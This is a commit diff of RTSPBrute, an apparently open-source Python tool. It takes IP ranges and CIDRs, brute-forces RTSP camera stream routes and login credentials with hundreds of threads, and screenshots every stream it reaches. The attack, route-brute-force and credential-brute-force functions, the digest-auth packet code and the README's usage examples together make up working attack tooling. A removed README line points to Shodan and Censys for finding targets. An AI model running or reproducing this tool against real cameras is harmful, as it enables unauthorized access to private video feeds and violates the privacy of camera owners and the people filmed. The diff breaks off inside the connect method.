Projects STRLCPY RTSPbrute Commits df2b0010
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # RTSPBrute
    2 2   
    3 3  <p align="center">
    4  - <a href="https://asciinema.org/a/348924?autoplay=1" target="_blank"><img src="https://asciinema.org/a/348924.svg" /></a>
     4 + <a href="https://asciinema.org/a/351052?autoplay=1" target="_blank"><img src="https://asciinema.org/a/351052.svg" /></a>
    5 5  </p>
    6 6   
    7 7  > Inspired by [Cameradar](https://github.com/Ullaakut/cameradar)
    8 8   
    9  - 
    10 9  ## Features
    11 10   
    12  -* **Find accessible RTSP streams** on any target
    13  -* Brute-force **stream routes**
    14  -* Brute-force **credentials**
    15  -* **Make screenshots** on accessible streams
    16  -* Generate **user-friendly report** of the results:
    17  - * `.txt` file with each found stream on new line
    18  - * `.html` file with screenshot of each found stream
     11 +- **Find accessible RTSP streams** on any target
     12 +- Brute-force **stream routes**
     13 +- Brute-force **credentials**
     14 +- **Make screenshots** on accessible streams
     15 +- Generate **user-friendly report** of the results:
     16 + - `.txt` file with each found stream on new line
     17 + - `.html` file with screenshot of each found stream
    19 18   
    20 19  ### Report files
    21 20   
    22  -#### `result.txt`
    23  - 
    24  -* Each target is on a new line
    25  -* Import to VLC: change extension to `.m3u` and open in VLC
    26  - 
    27  -#### `index.html`
    28  - 
    29  -* Responsive
    30  -* Click on the screenshot to copy its link
    31  - 
     21 +- `result.txt`: Each target is on a new line. Import to VLC: change extension to `.m3u` and open in VLC
     22 +- `index.html`: Click on the screenshot to copy its link
    32 23   
    33 24  ## Installation
    34 25   
    35 26  ### Requirements
    36 27   
    37  -* `python` (> `3.7`)
    38  -* `av`
    39  -* `colorama`
    40  -* `Pillow`
     28 +- `python` (> `3.7`)
     29 +- `av`
     30 +- `Pillow`
     31 +- `rich`
    41 32   
    42 33  ### Steps to install
    43 34   
    skipped 1 lines
    45 36  2. `cd RTSPbrute`
    46 37  3. `pip install -r requirements.txt`
    47 38   
     39 +## CLI
    48 40   
    49  -## Configuration
     41 +```
     42 +USAGE
     43 + $ core.py [-h] [-t TARGETS] [-p PORTS [PORTS ...]] [-r ROUTES] [-c CREDENTIALS]
     44 + [-ct N] [-bt N] [-st N] [-T TIMEOUT] [-d]
     45 + 
     46 +ARGUMENTS
     47 + -h, --help show this help message and exit
     48 + -t, --targets TARGETS the targets on which to scan for open RTSP streams
     49 + -p, --ports PORTS [PORTS ...] the ports on which to search for RTSP streams
     50 + -r, --routes ROUTES the path on which to load a custom routes
     51 + -c, --credentials CREDENTIALS the path on which to load a custom credentials
     52 + -ct, --check-threads N the number of threads to brute-force the routes
     53 + -bt, --brute-threads N the number of threads to brute-force the credentials
     54 + -st, --screenshot-threads N the number of threads to screenshot the streams
     55 + -T, --timeout TIMEOUT the timeout to use for sockets
     56 + -d, --debug enable the debug logs
    50 57   
    51  -At the moment it is possible to change only the following variables in `config.py` file:
    52  -* Number of `CHECK`, `BRUTE` and `SCREENSHOT` `_THREADS`
    53  -* `PORT` to check
    54  -* `SOCKET_TIMEOUT`
     58 +EXAMPLES
     59 + $ python core.py
     60 + $ python core.py -t ips.txt -p 554 5554
     61 + $ python core.py -r paths.txt -c combinations.txt
     62 + $ python core.py -st 10 -T 10
     63 +```
    55 64   
    56  -In the future, the CLI will be used for this.
     65 +- **"-t, --targets"** (`hosts.txt`): Set custom path to the input file. The file can contain IPs, IP ranges and CIDRs. Each one of them should be on a separate line, e.g.:
    57 66   
     67 +```
     68 +0.0.0.0
     69 +192.168.100.1-192.168.254.1
     70 +192.17.0.0/16
     71 +```
    58 72   
    59  -## Usage
     73 +- **"-p, --ports"** (`554`): Set custom ports, e.g.: `-p 554 5554 8554`
     74 +- **"-r, --routes"** (`routes.txt`): Set custom path to the file with routes. Each route should start with `/` and be on a separate line, e.g.:
    60 75   
    61  -1. Get IPs in any format (`1.1.1.1-1.10.10.1`, `192.168.100.1/24`, `8.8.8.8`):
    62  - * Scan manually
    63  - * Use [Shodan](https://www.shodan.io/) or [Censys](https://censys.io/)
    64  -2. Insert them into the `hosts.txt` file so that each IP object (range, cidr or single IP) is on a new line
    65  -3. `python core.py`
     76 +```
     77 +/1
     78 +/11
     79 +/h264
     80 +```
     81 + 
     82 +- **"-c, --credentials"** (`credentials.txt`): Set custom path to the file with credentials. Each combination should contain `:` and be on a separate line, e.g.:
    66 83   
     84 +```
     85 +admin:admin
     86 +user:user
     87 +```
     88 + 
     89 +- **"-ct, --check-threads"** (`500`): Set custom number of threads to brute-force the routes
     90 +- **"-bt, --brute-threads"** (`200`): Set custom number of threads to brute-force the credentials
     91 +- **"-st, --screenshot-threads"** (`20`): Set custom number of threads to screenshot the streams. Smaller number leads to more successful screenshots: when there's too much threads PyAV will throw errors and wouldn't connect to target.
     92 +- **"-T, --timeout"** (`2`): Set custom timeout value for socket connections
     93 +- **"-d, --debug"** (`False`): Enable debug logging to `debug.log` file
    67 94   
    68 95  ## TODO
    69 96   
    70  -- [ ] Add support for multiple ports
     97 +- [x] Add support for multiple ports
     98 +- [ ] Optimize for large input
    71 99  - [ ] Add tests
    72  -- [ ] Add CLI
    73  -- [ ] Beautify format of output to terminal
     100 +- [x] Add CLI
     101 +- [x] Beautify format of output to terminal
    74 102  - [ ] Release on PyPI
     103 + 
  • ■ ■ ■ ■ ■ ■
    config.py
    skipped 1 lines
    2 2  from pathlib import Path
    3 3  from typing import List
    4 4   
    5  - 
    6  -# The number of threads that brute-force the routes.
    7  -CHECK_THREADS: int = 500
    8  - 
    9  -# The number of threads that brute-force the credentials.
    10  -BRUTE_THREADS: int = 200
    11  - 
    12  -# The number of threads that screenshot the streams.
    13  -# Note: less SCREENSHOT_THREADS leads to more successful
    14  -# screenshots: when there's too much threads PyAV will
    15  -# throw errors and wouldn't connect to target.
    16  -# On author's machine 20-30 is most effective number.
    17  -SCREENSHOT_THREADS: int = 20
    18  - 
    19  - 
    20  -PORT: int = 554
    21  -SOCKET_TIMEOUT: int = 2
     5 +from modules.cli.output import progress_bar
    22 6   
    23  - 
    24  -CREDENTIALS: List[str] = []
    25  -ROUTES: List[str] = []
    26  -TARGETS: List[str] = []
     7 +ROUTES: List[str]
     8 +CREDENTIALS: List[str]
     9 +PORTS: List[int]
    27 10   
     11 +CHECK_PROGRESS = progress_bar.add_task("[bright_red]Checking...", total=0)
     12 +BRUTE_PROGRESS = progress_bar.add_task("[bright_yellow]Bruting...", total=0)
     13 +SCREENSHOT_PROGRESS = progress_bar.add_task("[bright_green]Screenshoting...", total=0)
    28 14   
    29 15  start_datetime = time.strftime("%Y.%m.%d-%H.%M.%S")
    30 16  DEBUG_LOG_FILE = Path.cwd() / "debug.log"
    skipped 5 lines
  • ■ ■ ■ ■ ■ ■
    core.py
     1 +import collections
    1 2  import logging
    2 3  import threading
    3 4  from queue import Queue
    4  -from typing import List
     5 +from typing import Callable, List
    5 6   
    6 7  import av
    7  -from colorama import init, Fore, Style
     8 +from rich.panel import Panel
    8 9   
    9 10  import config
    10  -from modules import *
    11  - 
    12  -# Logging module set up
    13  -logging.basicConfig(
    14  - level=logging.INFO, format="[%(asctime)s] [%(levelname)s] %(message)s",
    15  -)
    16  -debugger = logging.getLogger("debugger")
    17  -debugger.setLevel(logging.DEBUG)
    18  -file_handler = logging.FileHandler(config.DEBUG_LOG_FILE, "w")
    19  -file_handler.setFormatter(
    20  - logging.Formatter(
    21  - "[%(asctime)s] [%(levelname)s] [%(threadName)s] [%(funcName)s] %(message)s"
    22  - )
    23  -)
    24  -debugger.addHandler(file_handler)
    25  -debugger.propagate = False
    26  - 
    27  -# Redirect PyAV logs only to file
    28  -libav_logger = logging.getLogger("libav")
    29  -libav_logger.setLevel(logging.DEBUG)
    30  -libav_logger.addHandler(file_handler)
    31  -libav_logger.propagate = False
    32  -av_logger = logging.getLogger("av")
    33  -av_logger.setLevel(logging.DEBUG)
    34  -av_logger.addHandler(file_handler)
    35  -av_logger.propagate = False
    36  -# This disables ValueError from av module printing to console, but this also
    37  -# means we won't get any logs from av, if they aren't FATAL or PANIC level.
    38  -av.logging.set_level(av.logging.FATAL)
     11 +from modules import utils, worker
     12 +from modules.cli.input import parser
     13 +from modules.cli.output import console
     14 +from modules.rtsp import RTSPClient
    39 15   
    40 16   
    41  -def start_threads(number, target, *args):
    42  - debugger.debug(f"Starting {number} threads of {target.__module__}.{target.__name__}")
     17 +def start_threads(number: int, target: Callable, *args) -> List[threading.Thread]:
     18 + debugger.debug(
     19 + f"Starting {number} threads of {target.__module__}.{target.__name__}"
     20 + )
    43 21   threads = []
    44 22   for _ in range(number):
    45 23   thread = threading.Thread(target=target, args=args)
     24 + thread.daemon = True
    46 25   threads.append(thread)
    47 26   thread.start()
    48 27   return threads
    skipped 7 lines
    56 35   
    57 36   
    58 37  if __name__ == "__main__":
    59  - init()
     38 + args = parser.parse_args()
    60 39   
    61  - config.CREDENTIALS = utils.load_txt("credentials.txt", "credentials")
    62  - config.ROUTES = utils.load_txt("routes.txt", "routes")
    63  - config.TARGETS = utils.load_txt("hosts.txt", "targets")
     40 + # Logging module set up
     41 + debugger = logging.getLogger("debugger")
     42 + debugger.setLevel(logging.DEBUG)
     43 + if args.debug:
     44 + file_handler = logging.FileHandler(config.DEBUG_LOG_FILE, "w")
     45 + file_handler.setFormatter(
     46 + logging.Formatter(
     47 + "[%(asctime)s] [%(levelname)s] [%(threadName)s] [%(funcName)s] %(message)s"
     48 + )
     49 + )
     50 + debugger.addHandler(file_handler)
     51 + else:
     52 + debugger.addHandler(logging.NullHandler())
     53 + debugger.propagate = False
     54 + 
     55 + # Redirect PyAV logs only to file
     56 + libav_logger = logging.getLogger("libav")
     57 + libav_logger.setLevel(logging.DEBUG)
     58 + if args.debug:
     59 + libav_logger.addHandler(file_handler)
     60 + libav_logger.propagate = False
     61 + av_logger = logging.getLogger("av")
     62 + av_logger.setLevel(logging.DEBUG)
     63 + if args.debug:
     64 + av_logger.addHandler(file_handler)
     65 + av_logger.propagate = False
     66 + # This disables ValueError from av module printing to console, but this also
     67 + # means we won't get any logs from av, if they aren't FATAL or PANIC level.
     68 + av.logging.set_level(av.logging.FATAL)
     69 + 
     70 + targets = collections.deque(set(utils.load_txt(args.targets, "targets")))
     71 + config.ROUTES = utils.load_txt(args.routes, "routes")
     72 + config.CREDENTIALS = utils.load_txt(args.credentials, "credentials")
     73 + 
     74 + config.PORTS = args.ports
    64 75   
    65 76   utils.create_folder(config.PICS_FOLDER)
    66 77   utils.create_file(config.RESULT_FILE)
    skipped 4 lines
    71 82   screenshot_queue = Queue()
    72 83   
    73 84   check_threads = start_threads(
    74  - config.CHECK_THREADS, worker.brute_routes, check_queue, brute_queue
     85 + args.check_threads, worker.brute_routes, check_queue, brute_queue
    75 86   )
    76 87   brute_threads = start_threads(
    77  - config.BRUTE_THREADS, worker.brute_credentials, brute_queue, screenshot_queue
     88 + args.brute_threads, worker.brute_credentials, brute_queue, screenshot_queue
    78 89   )
    79 90   screenshot_threads = start_threads(
    80  - config.SCREENSHOT_THREADS, worker.screenshot_targets, screenshot_queue
     91 + args.screenshot_threads, worker.screenshot_targets, screenshot_queue
    81 92   )
    82 93   
    83  - logging.info(f"{Fore.GREEN}Starting...\n{Style.RESET_ALL}")
     94 + console.print("[green]Starting...\n")
    84 95   
    85  - for ip in config.TARGETS:
    86  - check_queue.put(RTSPClient(ip))
     96 + config.progress_bar.update(config.CHECK_PROGRESS, total=len(targets))
     97 + config.progress_bar.start()
     98 + while targets:
     99 + check_queue.put(RTSPClient(ip=targets.popleft(), timeout=args.timeout))
    87 100   
    88 101   wait_for(check_queue, check_threads)
    89 102   debugger.debug("Check queue and threads finished")
    skipped 2 lines
    92 105   wait_for(screenshot_queue, screenshot_threads)
    93 106   debugger.debug("Screenshot queue and threads finished")
    94 107   
     108 + config.progress_bar.stop()
     109 + 
    95 110   print()
    96  - file_handler.close()
    97  - config.DEBUG_LOG_FILE.rename(config.REPORT_FOLDER / config.DEBUG_LOG_FILE.name)
     111 + if args.debug:
     112 + file_handler.close()
     113 + config.DEBUG_LOG_FILE.rename(config.REPORT_FOLDER / config.DEBUG_LOG_FILE.name)
    98 114   screenshots = list(config.PICS_FOLDER.iterdir())
    99  - logging.info(f"{Fore.GREEN}Saved {len(screenshots)} screenshots{Style.RESET_ALL}")
    100  - logging.info(
    101  - f"{Fore.GREEN}Report available at {str(config.REPORT_FOLDER)}{Style.RESET_ALL}"
     115 + console.print(f"[green]Saved {len(screenshots)} screenshots")
     116 + console.print(
     117 + Panel(
     118 + f"[bright_green]{str(config.REPORT_FOLDER)}", title="Report", expand=False
     119 + ),
     120 + justify="center",
    102 121   )
    103 122   
    104  - 
  • ■ ■ ■ ■ ■ ■
    modules/__init__.py
    1  -from modules import attack, utils, worker
    2  -from .rtsp import RTSPClient
    3  - 
    4  -__all__ = ['attack', 'utils', 'worker', 'RTSPClient']
    5 1   
  • ■ ■ ■ ■ ■ ■
    modules/attack.py
    1 1  import logging
    2  -from logging import log
    3  -import socket
    4 2  import sys
    5  -import typing
    6 3   
    7 4  import av
    8  -from colorama import Fore, Style
    9 5   
     6 +import config
    10 7  from modules import utils
    11  -from modules.rtsp import AuthMethod, RTSPClient, Status
     8 +from modules.cli.output import console
     9 +from modules.rtsp import RTSPClient, Status
    12 10   
    13 11  sys.path.append("..")
    14  -import config
    15 12   
    16 13  dummy_route = "/0x8b6c42"
    17 14  logger = logging.getLogger("debugger")
    18 15   
    19 16   
    20  -def try_to(func, target, *args):
    21  - try:
    22  - func(*args)
    23  - return True
    24  - except (socket.timeout, TimeoutError) as e:
    25  - logger.debug(f"Skipping {target.ip}: {repr(e)}")
    26  - target.status = Status.TIMEOUT
     17 +def attack(target: RTSPClient, port=None, route=None, credentials=None):
     18 + if port is None:
     19 + port = target.port
     20 + if route is None:
     21 + route = target.route
     22 + if credentials is None:
     23 + credentials = target.credentials
     24 + 
     25 + # Create socket connection.
     26 + ok = target.connect(port)
     27 + if not ok:
     28 + if target.status is Status.UNIDENTIFIED:
     29 + logger.debug(
     30 + f"Failed to connect {str(target)}:", exc_info=target.last_error
     31 + )
     32 + else:
     33 + logger.debug(f"Failed to connect {str(target)}: {target.status.name}")
    27 34   return False
    28  - except ConnectionResetError as e:
    29  - logger.debug(f"Skipping {target.ip}: {repr(e)}")
    30  - target.status = Status.BLOCKED
    31  - return False
    32  - except Exception as e:
    33  - logger.debug(f"{func.__name__} failed for {target.ip}:{target.port}: {repr(e)}")
     35 + 
     36 + attack_url = RTSPClient.get_rtsp_url(target.ip, port, credentials, route)
     37 + # Try to authorize: create describe packet and send it.
     38 + ok = target.authorize(port, route, credentials)
     39 + request = "\n\t".join(target.packet.split("\r\n")).rstrip()
     40 + if target.data:
     41 + response = "\n\t".join(target.data.split("\r\n")).rstrip()
     42 + else:
     43 + response = ""
     44 + logger.debug(f"\nSent:\n\t{request}\nReceived:\n\t{response}")
     45 + if not ok:
     46 + logger.debug(f"Failed to authorize {attack_url}", exc_info=target.last_error)
    34 47   return False
    35 48   
     49 + return True
    36 50   
    37  -def attack_route(target: RTSPClient) -> typing.Union[RTSPClient, bool]:
     51 + 
     52 +def attack_route(target: RTSPClient):
     53 + # If it's a 401 or 403, it means that the credentials are wrong but the route might be okay.
     54 + # If it's a 200, the stream is accessed successfully.
     55 + ok_codes = ["200", "401", "403"]
     56 + 
    38 57   # If the stream responds positively to the dummy route, it means
    39 58   # it doesn't require (or respect the RFC) a route and the attack
    40 59   # can be skipped.
    41  - ok = route_attack(target, dummy_route)
    42  - if ok:
    43  - target.routes.append("/")
    44  - return target
    45  - 
    46  - # Otherwise, bruteforce the routes.
    47  - for route in config.ROUTES:
    48  - ok = route_attack(target, route)
    49  - if ok:
    50  - target.routes.append(route)
     60 + for port in config.PORTS:
     61 + ok = attack(target, port=port, route=dummy_route)
     62 + if ok and any(code in target.data for code in ok_codes):
     63 + target.port = port
     64 + target.routes.append("/")
    51 65   return target
    52  - # If target is timeouted or aborted connection, it's probably
    53  - # not available and can be skipped.
    54  - if target.status is Status.TIMEOUT or target.status is Status.BLOCKED:
    55  - return False
    56 66   
     67 + # Otherwise, bruteforce the routes.
     68 + for route in config.ROUTES:
     69 + ok = attack(target, port=port, route=route)
     70 + if not ok:
     71 + break
     72 + if any(code in target.data for code in ok_codes):
     73 + target.port = port
     74 + target.routes.append(route)
     75 + return target
    57 76   
    58  -def route_attack(target: RTSPClient, route) -> bool:
    59  - # Create socket connection.
    60  - target.socket = socket.socket()
    61  - connected = try_to(target.connect, target)
    62  - if not connected:
    63  - target.socket.close()
    64  - return False
    65 77   
    66  - # Create describe packet and send it.
    67  - target.create_packet(route)
    68  - sent = try_to(target.send_packet, target)
    69  - if not sent:
    70  - target.socket.close()
    71  - return False
     78 +def attack_credentials(target: RTSPClient):
     79 + def _log_working_stream():
     80 + console.print("Working stream at", target)
     81 + logger.debug(
     82 + f"Working stream at {str(target)} with {target.auth_method.name} auth"
     83 + )
    72 84   
    73  - attack_url = RTSPClient.get_rtsp_url(
    74  - target.ip, target.port, target.credentials, route
    75  - )
     85 + if target.is_authorized:
     86 + _log_working_stream()
     87 + return target
    76 88   
    77  - # Get return code.
    78  - try:
    79  - code = utils.detect_code(str(target.data))
    80  - except Exception as e:
    81  - logger.debug(f"get_code failed for {attack_url}: {repr(e)}, {target.data}")
    82  - target.socket.close()
    83  - return False
    84  - 
    85  - logger.debug(f"DESCRIBE {attack_url} RTSP/1.0 > {code}")
    86  - target.socket.close()
    87  - # If it's a 401 or 403, it means that the credentials are wrong but the route might be okay.
     89 + # If it's a 404, it means that the route is incorrect but the credentials might be okay.
    88 90   # If it's a 200, the stream is accessed successfully.
    89  - if code == 200 or code == 401 or code == 403:
    90  - return True
    91  - else:
    92  - return False
    93  - 
     91 + ok_codes = ["200", "404"]
    94 92   
    95  -def attack_credentials(target: RTSPClient):
    96 93   # If stream responds positively to no credentials, it means
    97 94   # it doesn't require them and the attack can be skipped.
    98  - if target.auth_method is AuthMethod.NONE:
    99  - ok = credentials_attack(target, ":")
    100  - if ok:
    101  - return target
     95 + ok = attack(target, credentials=":")
     96 + if ok and any(code in target.data for code in ok_codes):
     97 + _log_working_stream()
     98 + return target
    102 99   
    103 100   # Otherwise, bruteforce the routes.
    104 101   for cred in config.CREDENTIALS:
    105  - ok = credentials_attack(target, cred)
    106  - if ok:
     102 + ok = attack(target, credentials=cred)
     103 + if not ok:
     104 + return False
     105 + if any(code in target.data for code in ok_codes):
    107 106   target.credentials = cred
     107 + _log_working_stream()
    108 108   return target
    109  - if target.status is Status.TIMEOUT:
    110  - return False
    111  - utils.detect_auth_method(target)
    112 109   
    113 110   
    114  -def credentials_attack(target: RTSPClient, cred):
    115  - # Create socket connection.
    116  - target.socket = socket.socket()
    117  - connected = try_to(target.connect, target)
    118  - if not connected:
    119  - target.socket.close()
    120  - return False
    121  - 
    122  - # Create describe packet and send it.
    123  - target.create_packet(target.route, cred)
    124  - sent = try_to(target.send_packet, target)
    125  - if not sent:
    126  - target.socket.close()
    127  - return False
    128  - 
    129  - attack_url = RTSPClient.get_rtsp_url(target.ip, target.port, cred, target.route)
    130  - 
    131  - # Get return code.
    132  - try:
    133  - code = utils.detect_code(str(target.data))
    134  - except Exception as e:
    135  - logger.debug(f"get_code failed for {attack_url}: {repr(e)}")
    136  - return False
    137  - 
    138  - logger.debug(f"DESCRIBE {attack_url} RTSP/1.0 > {code}")
    139  - logger.debug(f"{target._local.packet} ({attack_url}) > {target.data}")
    140  - target.socket.close()
    141  - # If it's a 404, it means that the route is incorrect but the credentials might be okay.
    142  - # If it's a 200, the stream is accessed successfully.
    143  - if code == 200:
    144  - logging.info(f"{Style.DIM}Working stream at {attack_url}{Style.RESET_ALL}")
    145  - logger.debug(
    146  - f"Working stream at {attack_url} with {target.auth_method.name} auth"
    147  - )
    148  - return True
    149  - elif code == 404:
    150  - logging.info(f"Incorrect stream route, but OK credentials at {attack_url}")
    151  - logger.debug(
    152  - f"Incorrect stream route at {attack_url} with {target.auth_method.name} auth"
    153  - )
    154  - return True
    155  - else:
    156  - return False
    157  - 
    158  - 
    159  -def get_screenshot(target: RTSPClient, tries=0) -> str:
     111 +def get_screenshot(target: RTSPClient, tries=0):
    160 112   file_name = utils.escape_chars(f"{str(target).lstrip('rtsp://')}.jpg")
    161 113   file_path = config.PICS_FOLDER / file_name
    162 114   
    skipped 14 lines
    177 129   ):
    178 130   # There's a high possibility that this video stream is broken
    179 131   # or something else, so we try again just to make sure
    180  - if tries == 0:
     132 + if tries == 2:
    181 133   video.close()
    182  - return get_screenshot(target, 1)
     134 + tries += 1
     135 + return get_screenshot(target, tries)
    183 136   else:
    184 137   logger.debug(
    185 138   f"Broken video stream or unknown issues with {str(target)}"
    186 139   )
    187  - return ""
     140 + return
    188 141   video.streams.video[0].thread_type = "AUTO"
    189 142   for frame in video.decode(video=0):
    190 143   frame.to_image().save(file_path)
    skipped 2 lines
    193 146   # Those errors occurs when there's too much SCREENSHOT_THREADS.
    194 147   logger.debug(f"Missed screenshot of {str(target)}: {repr(e)}")
    195 148   # Try one more time in hope for luck.
    196  - if tries == 0:
    197  - logging.info(
    198  - f"{Fore.YELLOW}Retry to get a screenshot of the {str(target)}{Style.RESET_ALL}"
    199  - )
    200  - return get_screenshot(target, 1)
     149 + if tries == 2:
     150 + tries += 1
     151 + console.print("[yellow]Retry to get a screenshot of the", target)
     152 + return get_screenshot(target, tries)
    201 153   else:
    202  - logging.error(
    203  - f"{Fore.RED}Missed screenshot of {str(target)}: if you see this message a lot - consider lowering SCREENSHOT_THREADS ({config.SCREENSHOT_THREADS}){Style.RESET_ALL}"
     154 + console.print(
     155 + f"[italic red]Missed screenshot of [underline]{str(target)}[/underline] - if you see this message a lot, consider reducing the number of screenshot threads",
    204 156   )
    205  - return ""
     157 + return
    206 158   except Exception as e:
    207 159   logger.debug(f"get_screenshot failed with {str(target)}: {repr(e)}")
    208  - return ""
     160 + return
    209 161   
    210  - logging.info(
    211  - f"{Style.BRIGHT}Captured screenshot for {str(target)}{Style.RESET_ALL}"
    212  - )
     162 + console.print("[bold]Captured screenshot for", target)
     163 + logger.debug(f"Captured screenshot for {str(target)}")
    213 164   return file_path
    214 165   
  • ■ ■ ■ ■ ■ ■
    modules/cli/input.py
     1 +import argparse
     2 + 
     3 + 
     4 +class CustomHelpFormatter(argparse.HelpFormatter):
     5 + def __init__(self, prog):
     6 + super().__init__(prog, max_help_position=40, width=99)
     7 + 
     8 + def _format_action_invocation(self, action):
     9 + if not action.option_strings or action.nargs == 0:
     10 + return super()._format_action_invocation(action)
     11 + default = self._get_default_metavar_for_optional(action)
     12 + args_string = self._format_args(action, default)
     13 + return ", ".join(action.option_strings) + " " + args_string
     14 + 
     15 + 
     16 +fmt = lambda prog: CustomHelpFormatter(prog)
     17 +parser = argparse.ArgumentParser(
     18 + description="Tool for RTSP that brute-forces routes and credentials, makes screenshots!",
     19 + formatter_class=fmt,
     20 +)
     21 +parser.add_argument(
     22 + "-t",
     23 + "--targets",
     24 + default="hosts.txt",
     25 + help="the targets on which to scan for open RTSP streams",
     26 +)
     27 +parser.add_argument(
     28 + "-p",
     29 + "--ports",
     30 + nargs="+",
     31 + default=[554],
     32 + type=int,
     33 + help="the ports on which to search for RTSP streams",
     34 +)
     35 +parser.add_argument(
     36 + "-r",
     37 + "--routes",
     38 + default="routes.txt",
     39 + help="the path on which to load a custom routes",
     40 +)
     41 +parser.add_argument(
     42 + "-c",
     43 + "--credentials",
     44 + default="credentials.txt",
     45 + help="the path on which to load a custom credentials",
     46 +)
     47 +parser.add_argument(
     48 + "-ct",
     49 + "--check-threads",
     50 + default=500,
     51 + type=int,
     52 + help="the number of threads to brute-force the routes",
     53 + metavar="N",
     54 +)
     55 +parser.add_argument(
     56 + "-bt",
     57 + "--brute-threads",
     58 + default=200,
     59 + type=int,
     60 + help="the number of threads to brute-force the credentials",
     61 + metavar="N",
     62 +)
     63 +parser.add_argument(
     64 + "-st",
     65 + "--screenshot-threads",
     66 + default=20,
     67 + type=int,
     68 + help="the number of threads to screenshot the streams",
     69 + metavar="N",
     70 +)
     71 +parser.add_argument(
     72 + "-T", "--timeout", default=2, type=int, help="the timeout to use for sockets"
     73 +)
     74 +parser.add_argument("-d", "--debug", action="store_true", help="enable the debug logs")
     75 + 
  • ■ ■ ■ ■ ■ ■
    modules/cli/output.py
     1 +from rich.console import Console
     2 +from rich.progress import BarColumn, Progress, TaskID
     3 + 
     4 + 
     5 +class ProgressBar(Progress):
     6 + def __init__(self, console: Console) -> None:
     7 + super().__init__(
     8 + "[progress.description]{task.description}",
     9 + BarColumn(),
     10 + "{task.completed} of {task.total}",
     11 + console=console,
     12 + )
     13 + 
     14 + def add_total(self, task_id: TaskID, n: int = 1) -> None:
     15 + with self._lock:
     16 + self._tasks[task_id].total += n
     17 + 
     18 + 
     19 +console = Console(highlight=False)
     20 +progress_bar = ProgressBar(console)
     21 + 
  • ■ ■ ■ ■ ■ ■
    modules/packet.py
    skipped 8 lines
    9 9   return f"Authorization: Basic {str(encoded_cred, 'utf-8')}"
    10 10   
    11 11   
     12 +@functools.lru_cache()
     13 +def _ha1(username, realm, password):
     14 + return hashlib.md5(f"{username}:{realm}:{password}".encode("ascii")).hexdigest()
     15 + 
     16 + 
    12 17  def _digest_auth(option, ip, port, path, credentials, realm, nonce):
    13 18   username, password = credentials.split(":")
    14 19   uri = f"rtsp://{ip}:{port}{path}"
    15  - HA1 = hashlib.md5(f"{username}:{realm}:{password}".encode("ascii")).hexdigest()
     20 + HA1 = _ha1(username, realm, password)
    16 21   HA2 = hashlib.md5(f"{option}:{uri}".encode("ascii")).hexdigest()
    17 22   response = hashlib.md5(f"{HA1}:{nonce}:{HA2}".encode("ascii")).hexdigest()
    18 23   return (
    skipped 6 lines
    25 30   )
    26 31   
    27 32   
    28  -def describe(ip, port, path, credentials, realm=None, nonce=None):
     33 +def describe(ip, port, path, cseq, credentials, realm=None, nonce=None):
    29 34   if credentials == ":":
    30 35   auth_str = ""
    31 36   elif realm:
    32  - auth_str = _digest_auth("DESCRIBE", ip, port, path, credentials, realm, nonce)
     37 + auth_str = (
     38 + f"{_digest_auth('DESCRIBE', ip, port, path, credentials, realm, nonce)}\r\n"
     39 + )
    33 40   else:
    34  - auth_str = _basic_auth(credentials)
     41 + auth_str = f"{_basic_auth(credentials)}\r\n"
    35 42   
    36 43   packet = (
    37 44   f"DESCRIBE rtsp://{ip}:{port}{path} RTSP/1.0\r\n"
    38  - "CSeq: 2\r\n"
     45 + f"CSeq: {cseq}\r\n"
    39 46   f"{auth_str}"
    40 47   "User-Agent: Mozilla/5.0\r\n"
    41 48   "Accept: application/sdp\r\n"
    skipped 4 lines
  • ■ ■ ■ ■ ■ ■
    modules/rtsp.py
    1 1  import socket
    2  -import threading
    3 2  from enum import Enum
    4 3  from ipaddress import ip_address
     4 +from time import sleep
    5 5  from typing import List, Union
    6 6   
     7 +from modules import utils
    7 8  from modules.packet import describe
     9 + 
     10 +MAX_RETRIES = 2
    8 11   
    9 12   
    10 13  class AuthMethod(Enum):
    skipped 5 lines
    16 19  class Status(Enum):
    17 20   CONNECTED = 0
    18 21   TIMEOUT = 1
    19  - BLOCKED = 2
    20 22   UNIDENTIFIED = 100
    21 23   NONE = -1
    22 24   
     25 + @classmethod
     26 + def from_exception(cls, exception: Exception):
     27 + if type(exception) is type(socket.timeout()) or type(exception) is type(
     28 + TimeoutError()
     29 + ):
     30 + return cls.TIMEOUT
     31 + else:
     32 + return cls.UNIDENTIFIED
     33 + 
    23 34   
    24 35  class RTSPClient:
    25 36   __slots__ = (
    skipped 1 lines
    27 38   "port",
    28 39   "credentials",
    29 40   "routes",
    30  - "timeout",
    31 41   "status",
    32 42   "auth_method",
     43 + "last_error",
    33 44   "realm",
    34 45   "nonce",
    35  - "_local",
     46 + "socket",
     47 + "timeout",
     48 + "packet",
     49 + "cseq",
     50 + "data",
    36 51   )
    37 52   
    38 53   def __init__(
    39  - self, ip: str, port: int = 554, credentials: str = ":", timeout: int = 2
     54 + self, ip: str, port: int = 554, timeout: int = 2, credentials: str = ":",
    40 55   ) -> None:
    41 56   try:
    42 57   ip_address(ip)
    skipped 7 lines
    50 65   self.port = port
    51 66   self.credentials = credentials
    52 67   self.routes: List[str] = []
    53  - self.timeout = timeout
    54 68   self.status: Status = Status.NONE
    55 69   self.auth_method: AuthMethod = AuthMethod.NONE
    56  - self.realm: str = None
    57  - self.nonce: str = None
    58  - 
    59  - self._local = threading.local()
     70 + self.last_error: Union[Exception, None] = None
     71 + self.realm: Union[str, None] = None
     72 + self.nonce: Union[str, None] = None
     73 + self.socket = None
     74 + self.timeout = timeout
     75 + self.packet = None
     76 + self.cseq = 0
     77 + self.data = None
    60 78   
    61 79   @property
    62 80   def route(self):
    skipped 3 lines
    66 84   return ""
    67 85   
    68 86   @property
    69  - def data(self):
    70  - _data = getattr(self._local, "data", "")
    71  - return _data
     87 + def is_connected(self):
     88 + return self.status is Status.CONNECTED
    72 89   
    73  - @data.setter
    74  - def data(self, value):
    75  - self._local.data = value
     90 + @property
     91 + def is_authorized(self):
     92 + return "200" in self.data
    76 93   
    77  - @data.deleter
    78  - def data(self):
    79  - del self._local.data
     94 + def connect(self, port: int = None):
     95 + if self.is_connected:
     96 + return True
     97 + 
     98 + if port is None:
     99 + port = self.port
    80 100   
    81  - @property
    82  - def socket(self):
    83  - _socket = getattr(self._local, "socket", None)
    84  - return _socket
     101 + self.packet = None
     102 + self.cseq = 0
     103 + self.data = None
     104 + retry = 0
     105 + while retry < MAX_RETRIES and not self.is_connected:
     106 + try:
